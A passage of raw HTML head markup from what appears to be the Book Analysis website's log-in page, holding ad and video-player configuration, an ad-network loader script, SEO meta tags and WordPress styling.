","william-shakespeare"],"shuffle":false},{"isDraft":false,"playlistId":"2jy92eDh","categories":["suzanne-collins","mockingjay","catching-fire","the-hunger-games"],"shuffle":false},{"isDraft":false,"playlistId":"Qn0wHquw","categories":["the-metamorphosis"],"shuffle":false},{"isDraft":false,"playlistId":"2AEmw0JO","categories":["coraline"],"shuffle":false},{"isDraft":false,"playlistId":"Opt6dPFT","categories":["ernest-hemingway"],"shuffle":false},{"isDraft":false,"playlistId":"PKZEAIYI","categories":["harry-potter-and-the-half-blood-prince","harry-potter-and-the-order-of-the-phoenix","harry-potter-and-the-philosophers-stone","harry-potter-and-the-prisoner-of-azkaban","harry-potter-and-the-goblet-of-fire","harry-potter-and-the-deathly-hallows","harry-potter-and-the-cursed-child","harry-potter-and-the-chamber-of-secrets"],"shuffle":false},{"isDraft":false,"playlistId":"1KFh2HDm","categories":["the-handmaids-tale","margaret-atwood"],"shuffle":false},{"isDraft":false,"playlistId":"4KkGlBod","categories":["the-old-man-and-the-sea"],"shuffle":false},{"isDraft":false,"playlistId":"YX65Ui7o","categories":["franz-kafka"],"shuffle":false},{"isDraft":false,"playlistId":"xjIfJIH5","categories":["george-orwell"],"shuffle":false},{"isDraft":false,"playlistId":"ss0vPJx1","categories":["purple-hibiscus"],"shuffle":false},{"isDraft":true,"playlistId":"8lLhAhNO","categories":["charlottes-web"],"shuffle":false},{"isDraft":false,"playlistId":"fn6gWTiQ","categories":["dune-messiah","children-of-dune","dune"],"shuffle":false}],"players":[{"playlistId":"HP7mgB6u","pageSelector":"body.single:not(.no-ads-class), body.archive:not(.no-ads-class)","devices":["mobile"],"mobileLocation":"top-center","description":"","skip":1,"title":"","type":"stickyPlaylist","enabled":true,"footerSelector":".site-footer","formattedType":"Sticky Playlist","elementSelector":"body.single .entry-content > *:not(h2):not(h3):not(h4), body.archive:not(.author) .inside-article > *:not(h2):not(h3):not(.expert-snippet), body.archive:not(.author) .category-description > *:not(h2):not(h3), body.archive.author .site-main > article","id":4076321,"position":"afterend","saveVideoCloseState":false,"shuffle":true,"mobileHeaderSelector":null,"playerId":"YssK9bpT"},{"devices":["desktop","mobile"],"formattedType":"Stationary Related","description":"","
68id":4076317,"title":"Stationary related player - desktop and mobile","type":"stationaryRelated","enabled":true,"playerId":"FYo4GgaX"},{"pageSelector":"","devices":["desktop"],"formattedType":"Sticky Related","description":"","elementSelector":".entry-content > *:not(h2):not(h3):not(h4):not(ul):not(ol), .entry-content > * > li","skip":1,"id":4076318,"position":"afterend","title":"Sticky related player - desktop","type":"stickyRelated","enabled":true,"playerId":"FYo4GgaX"},{"playlistId":"","pageSelector":"","devices":["mobile"],"mobileLocation":"top-center","description":"","skip":1,"title":"Sticky related player - mobile","type":"stickyRelated","enabled":true,"formattedType":"Sticky Related","elementSelector":".entry-content > *:not(h2):not(h3):not(h4):not(ul):not(ol), .entry-content > * > li","id":4076319,"position":"afterend","saveVideoCloseState":false,"shuffle":false,"mobileHeaderSelector":null,"playerId":"FYo4GgaX"},{"playlistId":"HP7mgB6u","pageSelector":"body.single:not(.no-ads-class), body.archive:not(.no-ads-class)","devices":["desktop"],"description":"","skip":1,"title":"","type":"stickyPlaylist","enabled":true,"footerSelector":".site-footer","formattedType":"Sticky Playlist","elementSelector":"body.single .entry-content > *:not(h2):not(h3):not(h4), body.archive:not(.author) .inside-article > *:not(h2):not(h3):not(.expert-snippet), body.archive:not(.author) .category-description > *:not(h2):not(h3), body.archive.author .site-main > article","id":4076320,"position":"afterend","saveVideoCloseState":false,"shuffle":true,"mobileHeaderSelector":null,"playerId":"YssK9bpT"}],"partners":{"theTradeDesk":true,"unruly":true,"undertone":true,"gumgum":true,"seedtag":true,"amx":true,"ozone":true,"trustx":true,"pmp":true,"onetag":true,"kargo":true,"stickyOutstream":{"desktop":{"enabled":true},"blockedPageSelectors":"body.no-ads-class, body.members, body.page-id-112615","mobileLocation":"bottom-left","thirdPartyGamAdUnitName":null,"allowOnHomepage":false,"mobile":{"enabled":true},"saveVideoCloseState":false,"mobileHeaderSelector":null,"allowForPageWithStickyPlayer":{"enabled":true}},"sharethrough":true,"blis":true,"tripleLift":true,"pubMatic":true,"criteo":true,"yahoossp":true,"nativo":true,"stackadapt":true,"equativ":true,"yieldmo":true,"amazonUAM":true,"medianet":true,"rubicon":true,"appNexus":true,"conversant":true,"rise":true,"openx":true,"indexExchange":true}}};</script>
68 69
70<script data-no-optimize="1" data-cfasync="false"> 71(function(w, d) { 72 w.adthrive = w.adthrive || {}; 73 w.adthrive.cmd = w.adthrive.cmd || []; 74 w.adthrive.plugin = 'adthrive-ads-3.13.0'; 75 w.adthrive.host = 'ads.adthrive.com'; 76 w.adthrive.integration = 'plugin'; 77 78 var commitParam = (w.adthriveCLS && w.adthriveCLS.bucket !== 'prod' && w.adthriveCLS.branch) ? '&commit=' + w.adthriveCLS.branch : ''; 79 80 var s = d.createElement('script'); 81 s.async = true; 82 s.referrerpolicy='no-referrer-when-downgrade'; 83 s.src = 'https://' + w.adthrive.host + '/sites/61532d54e7dc44ae79fa4c76/ads.min.js?referrer=' + w.encodeURIComponent(w.location.href) + commitParam + '&cb=' + (Math.floor(Math.random() * 100) + 1) + ''; 84 var n = d.getElementsByTagName('script')[0]; 85 n.parentNode.insertBefore(s, n); 86})(window, document); 87</script>
87 88<link rel="dns-prefetch" href="https://ads.adthrive.com/"><link rel="preconnect" href="https://ads.adthrive.com/"><link rel="preconnect" href="https://ads.adthrive.com/" crossorigin><meta name="viewport" content="width=device-width, initial-scale=1"> 89<!-- Search Engine Optimization by Rank Math PRO - https://rankmath.com/ --> 90<title>Log in to Book Analysis - Book Analysis</title> 91<link crossorigin data-rocket-preconnect href="https://ads.adthrive.com" rel="preconnect"> 92<link crossorigin data-rocket-preconnect href="https://cdn.bookanalysis.com" rel="preconnect"> 93<link crossorigin data-rocket-preconnect href="https://stats.wp.com" rel="preconnect"><link rel="preload" data-rocket-preload as="image" href="https://cdn.bookanalysis.com/wp-content/uploads/2022/09/BookAnalysisLogo-svg.svg" fetchpriority="high"> 94<meta name="description" content="Join today for free to unlock benefits."/> 95<meta name="robots" content="follow, noindex"/> 96<meta property="og:locale" content="en_US" /> 97<meta property="og:type" content="article" /> 98<meta property="og:title" content="Log in to Book Analysis - Book Analysis" /> 99<meta property="og:description" content="Join today for free to unlock benefits." /> 100<meta property="og:url" content="https://bookanalysis.com/log-in/" /> 101<meta property="og:site_name" content="Book Analysis" /> 102<meta property="og:updated_time" content="2024-09-29T15:28:11+01:00" /> 103<meta property="article:published_time" content="2023-11-09T11:20:54+00:00" /> 104<meta property="article:modified_time" content="2024-09-29T15:28:11+01:00" /> 105<meta name="twitter:card" content="summary_large_image" /> 106<meta name="twitter:title" content="Log in to Book Analysis - Book Analysis" /> 107<meta name="twitter:description" content="Join today for free to unlock benefits." /> 108<meta name="twitter:creator" content="@willgreeny" /> 109<meta name="twitter:label1" content="Time to read" /> 110<meta name="twitter:data1" content="Less than a minute" />
111<script type="application/ld+json" class="rank-math-schema-pro">{"@context":"https://schema.org","@graph":[{"@type":"Place","@id":"https://bookanalysis.com/#place","address":{"@type":"PostalAddress","street":"International House, 36-38 Cornhill","locality":"London","region":"London","zip":"EC3V 3NG","country":"United Kingdom"}},{"@type":["EducationalOrganization","Organization"],"@id":"https://bookanalysis.com/#organization","name":"Poem Solutions Limited","url":"https://bookanalysis.com","address":{"@type":"PostalAddress","street":"International House, 36-38 Cornhill","locality":"London","region":"London","zip":"EC3V 3NG","country":"United Kingdom"},"logo":{"@type":"ImageObject","@id":"https://bookanalysis.com/#logo","url":"https://bookanalysis.com/wp-content/uploads/2022/10/Book-Analysis-Logo-Blue-Background.jpg","contentUrl":"https://bookanalysis.com/wp-content/uploads/2022/10/Book-Analysis-Logo-Blue-Background.jpg","caption":"Book Analysis","inLanguage":"en-US","width":"942","height":"388"},"location":{"@id":"https://bookanalysis.com/#place"}},{"@type":"WebSite","@id":"https://bookanalysis.com/#website","url":"https://bookanalysis.com","name":"Book Analysis","publisher":{"@id":"https://bookanalysis.com/#organization"},"inLanguage":"en-US"},{"@type":"BreadcrumbList","@id":"https://bookanalysis.com/log-in/#breadcrumb","itemListElement":[{"@type":"ListItem","position":"1","item":{"@id":"//bookanalysis.com","name":"Home"}},{"@type":"ListItem","position":"2","item":{"@id":"https://bookanalysis.com/log-in/","name":"Log in"}}]},{"@type":"WebPage","@id":"https://bookanalysis.com/log-in/#webpage","url":"https://bookanalysis.com/log-in/","name":"Log in to Book Analysis - Book Analysis","datePublished":"2023-11-09T11:20:54+00:00","dateModified":"2024-09-29T15:28:11+01:00","isPartOf":{"@id":"https://bookanalysis.com/#website"},"inLanguage":"en-US","breadcrumb":{"@id":"https://bookanalysis.com/log-in/#breadcrumb"}},{"@type":"Person","@id":"https://bookanalysis.com/team/williamgreen/","name":"William","description":"Will founded Book Analysis back in 2020 to help others understand and enjoy books, just like he does. He has a team of experts helping to create book summaries.","url":"https://bookanalysis.com/team/williamgreen/","image":{"@type":"ImageObject","@id":"https://cdn.bookanalysis.com/wp-content/uploads/nsl_avatars/2ff36ba5d46c23ac3a00f70dc2ddec75.jpg?strip=all&resize=96%2C96","url":"https://cdn.bookanalysis.com/wp-content/uploads/nsl_avatars/2ff36ba5d46c23ac3a00f70dc2ddec75.jpg?strip=all&resize=96%2C96","caption":"William","inLanguage":"en-US"},"sameAs":["https://twitter.com/willgreeny","https://www.linkedin.com/in/willgreeny/"],"worksFor":{"@id":"https://bookanalysis.com/#organization"}},{"@type":"Article","headline":"Log in to Book Analysis - Book Analysis","datePublished":"2023-11-09T11:20:54+00:00","dateModified":"2024-09-29T15:28:11+01:00","author":{"@id":"https://bookanalysis.com/team/williamgreen/","name":"William"},"publisher":{"@id":"https://bookanalysis.com/#organization"},"description":"Join today for free to unlock benefits.","name":"Log in to Book Analysis - Book Analysis","@id":"https://bookanalysis.com/log-in/#richSnippet","isPartOf":{"@id":"https://bookanalysis.com/log-in/#webpage"},"inLanguage":"en-US","mainEntityOfPage":{"@id":"https://bookanalysis.com/log-in/#webpage"}}]}</script>
111 112<!-- /Rank Math WordPress SEO plugin --> 113 114 115<!-- Novashare v.1.4.1 https://novashare.io/ --> 116<meta property="og:locale" content="en_US" /> 117<meta property="og:type" content="article" /> 118<meta property="og:title" content="Log in" /> 119<meta property="og:description" content="" /> 120<meta property="og:url" content="https://bookanalysis.com/log-in/" /> 121<meta property="og:site_name" content="Book Analysis" /> 122<meta property="og:updated_time" content="2024-09-29T15:28:11+00:00" /> 123<meta property="article:published_time" content="2023-11-09T11:20:54+00:00" /> 124<meta property="article:modified_time" content="2024-09-29T15:28:11+00:00" /> 125<meta name="twitter:card" content="summary_large_image" /> 126<meta name="twitter:title" content="Log in" /> 127<meta name="twitter:description" content="" /> 128<!-- / Novashare --> 129<link rel='dns-prefetch' href='//unpkg.com' /> 130<link rel='dns-prefetch' href='//cdn.jsdelivr.net' /> 131<link rel='dns-prefetch' href='//cdn.bookanalysis.com' /> 132<link rel='preconnect' href='//cdn.bookanalysis.com' />
133<script>function cpLoadCSS(e,t,n){"use strict";var i=window.document.createElement("link"),o=t||window.document.getElementsByTagName("script")[0];return i.rel="stylesheet",i.href=e,i.media="only x",o.parentNode.insertBefore(i,o),setTimeout(function(){i.media=n||"all"}),i}</script>
133<style>.cp-popup-container .cpro-overlay,.cp-popup-container .cp-popup-wrapper{opacity:0;visibility:hidden;display:none}</style><style id="wp-img-auto-sizes-contain-inline-css"> 134img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px} 135/*# sourceURL=wp-img-auto-sizes-contain-inline-css */ 136</style> 137<link data-minify="1" rel='stylesheet' id='mp-theme-css' href='https://bookanalysis.com/wp-content/cache/min/1/wp-content/plugins/memberpress/css/ui/theme.css?ver=1789576904' media='all' /> 138<link data-minify="1" rel='stylesheet' id='mp-login-css-css' href='https://bookanalysis.com/wp-content/cache/min/1/wp-content/plugins/memberpress/css/ui/login.css?ver=1789582928' media='all' /> 139<style id="wp-emoji-styles-inline-css"> 140 141 img.wp-smiley, img.emoji { 142 display: inline !important; 143 border: none !important; 144 box-shadow: none !important; 145 height: 1em !important; 146 width: 1em !important; 147 margin: 0 0.07em !important; 148 vertical-align: -0.1em !important; 149 background: none !important; 150 padding: 0 !important; 151 } 152/*# sourceURL=wp-emoji-styles-inline-css */ 153</style> 154<style id="wp-block-library-inline-css"> 155:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;
155--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}} 156 157/*# sourceURL=/wp-includes/css/dist/block-library/common.min.css */ 158</style> 159<style id="wp-block-image-inline-css"> 160.wp-block-image>a,.wp-block-image>figure>a{display:inline-block}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}@media not (prefers-reduced-motion){.wp-block-image img.hide{visibility:hidden}.wp-block-image img.show{animation:show-content-image .4s}}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{width:100%}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-image.is-style-circle-mask img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){border-radius:9999px}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;backdrop-filter:blur(16px) saturate(180%);background-color:rgba(90,90,90,.25);border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;opacity:0;padding:0;position:absolute;right:16px;text-align:center;top:16px;width:20px;z-index:100}@media not (prefers-reduced-motion){.wp-lightbox-container button{transition:opacity .2s ease}}.wp-lightbox-container button:focus-visible{outline:3px auto rgba(90,90,90,.25);outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:rgba(90,90,90,.25);border:none}.wp-lightbox-overlay{box-sizing:border-box;
160cursor:zoom-out;height:100vh;left:0;overflow:hidden;position:fixed;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .wp-lightbox-close-button{align-items:center;cursor:pointer;display:flex;font-family:inherit;gap:8px;justify-content:center;line-height:1;min-height:40px;min-width:40px;padding:0 4px;position:absolute;right:calc(env(safe-area-inset-right) + 16px);top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .wp-lightbox-close-button:focus,.wp-lightbox-overlay .wp-lightbox-close-button:hover,.wp-lightbox-overlay .wp-lightbox-close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .wp-lightbox-close-button:has(.wp-lightbox-close-text:not([hidden])) .wp-lightbox-close-icon svg{height:1em;width:1em}.wp-lightbox-overlay .wp-lightbox-close-icon svg{display:block}.wp-lightbox-overlay .wp-lightbox-navigation-button-next,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev{align-items:center;bottom:16px;cursor:pointer;display:flex;font-family:inherit;gap:4px;justify-content:center;line-height:1;min-height:40px;min-width:40px;padding:0 8px;position:absolute;z-index:2000002}.wp-lightbox-overlay .wp-lightbox-navigation-button-next[hidden],.wp-lightbox-overlay .wp-lightbox-navigation-button-prev[hidden]{display:none}@media (min-width:960px){.wp-lightbox-overlay .wp-lightbox-navigation-button-next,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev{bottom:50%;transform:translateY(-50%)}}.wp-lightbox-overlay .wp-lightbox-navigation-button-next:focus,.wp-lightbox-overlay .wp-lightbox-navigation-button-next:hover,.wp-lightbox-overlay .wp-lightbox-navigation-button-next:not(:hover):not(:active):not(.has-background),.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:focus,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:hover,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:not(:hover):not(:active):not(.has-background){background:none;border:none;padding:0 8px}.wp-lightbox-overlay .wp-lightbox-navigation-button-next:has(.wp-lightbox-navigation-text:not([hidden])) .wp-lightbox-navigation-icon svg,.wp-lightbox-overlay .wp-lightbox-navigation-button-prev:has(.wp-lightbox-navigation-text:not([hidden])) .wp-lightbox-navigation-icon svg{display:block;height:1.5em;width:1.5em}.wp-lightbox-overlay .wp-lightbox-navigation-button-prev{left:calc(env(safe-area-inset-left) + 16px)}.wp-lightbox-overlay .wp-lightbox-navigation-button-next{right:calc(env(safe-area-inset-right) + 16px)}.wp-lightbox-overlay .wp-lightbox-navigation-icon svg{vertical-align:middle}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);left:50%;overflow:hidden;position:absolute;top:50%;transform:translate(-50%,-50%);transform-origin:top left;width:var(--wp--lightbox-container-width);z-index:2000001}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:0 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{visibility:visible}@media not (prefers-reduced-motion){.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active){animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}
160@keyframes show-content-image{0%{visibility:hidden}99%{visibility:hidden}to{visibility:visible}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(-50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(-50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}} 161/*# sourceURL=https://bookanalysis.com/wp-includes/blocks/image/style.min.css */ 162</style> 163<style id="wp-block-spacer-inline-css"> 164.wp-block-spacer{clear:both} 165/*# sourceURL=https://bookanalysis.com/wp-includes/blocks/spacer/style.min.css */ 166</style> 167 168<style id="classic-theme-styles-inline-css"> 169/*! This file is auto-generated */ 170.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none} 171/*# sourceURL=/wp-includes/css/classic-themes.min.css */ 172</style> 173 174<link rel='stylesheet' id='novashare-css-css' href='https://bookanalysis.com/wp-content/plugins/novashare/css/style.min.css?ver=1.4.1' media='all' /> 175<style id="novashare-css-inline-css"> 176# 177 178/*Share*/ 179.gb-button.novashare-button.share, .gb-button.ns-button.share { 180border-radius: 40px; 181height: 53px; 182} 183.novashare-button.share:not(.gb-button), .ns-button.share:not(.gb-button) { 184display: none; 185} 186 187#ns-share-window-cta {background: #EFEEED!important;} 188#novashare-share-window-content {background: #EFEEED!important;} 189#ns-share-window-cta {font-size: 21px!important;} 190 191#ns-share-window-wrapper {background: rgba(0,0,0,.5)!important;} 192 193/* Inline Content Styling */ 194body .ns-inline a.ns-button, body .ns-inline .ns-total-share-count { 195 margin: 0px 0px 0px 0px!important; 196} 197/*# sourceURL=novashare-css-inline-css */ 198</style> 199<link data-minify="1" rel='stylesheet' id='quiz-maker-css' href='https://bookanalysis.com/wp-content/cache/min/1/wp-content/plugins/quiz-maker/public/css/quiz-maker-public.css?ver=1789576904' media='all' /> 200<link data-minify="1" rel='stylesheet' id='toc-sticky-frontend-css' href='https://bookanalysis.com/wp-content/cache/min/1/wp-content/plugins/toc-sticky/build/style-index.css?ver=1789576904' media='all' />
201<script>document.addEventListener('DOMContentLoaded', function(event) { if( typeof cpLoadCSS !== 'undefined' ) { cpLoadCSS('https://bookanalysis.com/wp-content/plugins/convertpro/assets/modules/css/cp-popup.min.css?ver=1.8.10', 0, 'all'); } }); </script>
201 202<style id="jetpack-stats-inline-css"> 203img#wpstats{display:none} 204/*# sourceURL=jetpack-stats-inline-css */ 205</style> 206<link rel='stylesheet' id='generate-style-css' href='https://bookanalysis.com/wp-content/themes/generatepress/assets/css/main.min.css?ver=3.6.1' media='all' /> 207<style id="generate-style-inline-css"> 208@media (max-width:768px){} 209.is-right-sidebar{width:30%;}.is-left-sidebar{width:30%;}.site-content .content-area{width:100%;}@media (max-width: 989px){.main-navigation .menu-toggle,.sidebar-nav-mobile:not(#sticky-placeholder){display:block;}.main-navigation ul,.gen-sidebar-nav,.main-navigation:not(.slideout-navigation):not(.toggled) .main-nav > ul,.has-inline-mobile-toggle #site-navigation .inside-navigation > *:not(.navigation-search):not(.main-nav){display:none;}.nav-align-right .inside-navigation,.nav-align-center .inside-navigation{justify-content:space-between;}.has-inline-mobile-toggle .mobile-menu-control-wrapper{display:flex;flex-wrap:wrap;}.has-inline-mobile-toggle .inside-header{flex-direction:row;text-align:left;flex-wrap:wrap;}.has-inline-mobile-toggle .header-widget,.has-inline-mobile-toggle #site-navigation{flex-basis:100%;}.nav-float-left .has-inline-mobile-toggle #site-navigation{order:10;}} 210.dynamic-author-image-rounded{border-radius:100%;}.dynamic-featured-image, .dynamic-author-image{vertical-align:middle;}.one-container.blog .dynamic-content-template:not(:last-child), .one-container.archive .dynamic-content-template:not(:last-child){padding-bottom:0px;}.dynamic-entry-excerpt > p:last-child{margin-bottom:0px;} 211/*# sourceURL=generate-style-inline-css */ 212</style> 213<link data-minify="1" rel='stylesheet' id='wpdreams-ajaxsearchpro-instances-css' href='https://bookanalysis.com/wp-content/cache/min/1/wp-content/uploads/asp_upload/style.instances-ho-is-po-no-da-co-au-ga-se-is.css?ver=1789576904' media='all' /> 214<link data-minify="1" rel='stylesheet' id='simple-favorites-updated2-css' href='https://bookanalysis.com/wp-content/cache/min/1/wp-content/plugins/favorites/assets/css/favorites.css?ver=1789576904' media='all' /> 215<link data-minify="1" rel='stylesheet' id='fontawesome-css' href='https://bookanalysis.com/wp-content/cache/min/1/wp-content/plugins/wp-review-pro/public/css/font-awesome.min.css?ver=1789576904' media='all' /> 216<link data-minify="1" rel='stylesheet' id='wp_review-style-css' href='https://bookanalysis.com/wp-content/cache/min/1/wp-content/plugins/wp-review-pro/public/css/wp-review.css?ver=1789576904' media='all' /> 217<link rel='stylesheet' id='generatepress-dynamic-css' href='https://bookanalysis.com/wp-content/uploads/generatepress/style.min.css?ver=1789560653' media='all' /> 218<link rel='stylesheet' id='generate-child-css' href='https://bookanalysis.com/wp-content/themes/generatepress_child/style.css?ver=1789560653' media='all' /> 219<link data-minify="1" rel='stylesheet' id='generateblocks-global-css' href='https://bookanalysis.com/wp-content/cache/min/1/wp-content/uploads/generateblocks/style-global.css?ver=1789576904' media='all' /> 220<link data-minify="1" rel='stylesheet' id='generateblocks-css' href='https://bookanalysis.com/wp-content/cache/min/1/wp-content/uploads/generateblocks/style-59965.css?ver=1789587864' media='all' /> 221<style id="kadence-blocks-global-variables-inline-css"> 222:root {--global-kb-font-size-sm:clamp(0.8rem, 0.73rem + 0.217vw, 0.9rem);--global-kb-font-size-md:clamp(1.1rem, 